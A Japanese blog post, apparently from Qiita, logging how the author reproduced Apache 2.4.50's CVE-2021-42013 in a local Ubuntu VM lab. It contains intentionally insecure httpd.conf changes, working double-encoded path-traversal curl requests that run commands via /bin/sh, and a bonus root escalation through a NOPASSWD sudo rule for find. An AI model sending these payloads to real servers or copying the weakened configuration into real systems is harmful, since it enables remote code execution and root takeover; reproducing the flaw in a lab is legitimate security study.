0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

UbuntuでapacheのCVE-2021-42013を再現

Posted at

UbuntuでapacheのCVE-2021-42013を再現するのに少し苦労したのでメモ代わりに記録しておく。

使用したUbuntu
ubuntu-ja-18.04.3-desktop-amd64.iso

使用したVM
Oracle VM VirtualBox 7.0.18

使用したapache 2.4.50
http://archive.apache.org/dist/httpd/httpd-2.4.50.tar.gz

sudoを使えるようにする

$ su
# vi /etc/sudoers.d/user-init

編集内容

user-init
[インストール時に作ったユーザ名] ALL=(ALL) ALL

編集に失敗するとおかしくなるので、慎重に。

定番のやつ

$ sudo apt install vim
$ sudo apt install curl

apacheインストールから起動、動作確認

$ sudo apt update
$ sudo apt install -y build-essential wget tar libpcre3 libpcre3-dev libssl-dev zlib1g-dev libapr1-dev libaprutil1-dev

$ cd /usr/local/src
$ sudo curl -OL http://archive.apache.org/dist/httpd/httpd-2.4.50.tar.gz
$ sudo tar -xvzf httpd-2.4.50.tar.gzcd httpd-2.4.50/
$ cd httpd-2.4.50
$ sudo ./configure
$ make
$ sudo make install

$ sudo /usr/local/apache2/bin/apachectl start
$ curl -i http://localhost

It works!と返ってきてればok

CGIが動くようにしつつ、脆弱な設定にする

まずはコンフィグ

$ sudo vim /usr/local/apache2/conf/httpd.conf

変更する箇所は4か所
1か所目

#LoadModule cgid_module modules/mod_cgid.so
LoadModule cgid_module modules/mod_cgid.so

2か所目

<Directory />
    AllowOverride none
    Require all denied
</Directory>
<Directory />
    AllowOverride All
    Require all granted
</Directory>

3か所目

<Directory "/usr/local/apache2/htdocs">
    AllowOverride None
    Require all granted
</Directory>
<Directory "/usr/local/apache2/htdocs">
    AllowOverride All
    Require all granted
</Directory>

4か所目

<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride None
    Options None
    Require all granted
</Directory>
<Directory "/usr/local/apache2/cgi-bin">
    AllowOverride All
    Options +ExecCGI
    Require all granted
</Directory>

diff

$ diff /usr/local/apache2/conf/httpd.conf /usr/local/apache2/conf/httpd.conf_org
147c147
< LoadModule cgid_module modules/mod_cgid.so
---
> #LoadModule cgid_module modules/mod_cgid.so
206,207c206,207
<     AllowOverride All
<     Require all granted
---
>     AllowOverride none
>     Require all denied
243c243
<     AllowOverride All
---
>     AllowOverride None
356,357c356,357
<     AllowOverride All
<     Options +ExecCGI
---
>     AllowOverride None
>     Options None

cgi-binフォルダ作成

$ sudo mkdir -p /usr/local/apache2/cgi-bin
$ sudo /usr/local/apache2/bin/apachectl restart

ここらで、再起動してスナップショットとっておくといいかも

検証開始

$ curl --data 'echo; id' 'http://localhost/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

uid=1(daemon) gid=1(daemon) groups=1(daemon)
が見えたら成功

おまけ、権限昇格(パスワード無しsudo設定の悪用)

$ sudo vim /etc/sudoers.d/user-init

追加する行
daemon ALL=NOPASSWD: /usr/bin/find

curl --data 'echo; sudo -l' 'http://localhost/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

に対して
User daemon may run the following commands on [VM名]:
(root) NOPASSWD: /usr/bin/find
が表示されれば権限昇格準備ok

$ curl --data 'echo; sudo find /home/ -exec id \;' 'http://localhost/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

こんなのが出れば成功

uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) gid=0(root) groups=0(root)

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?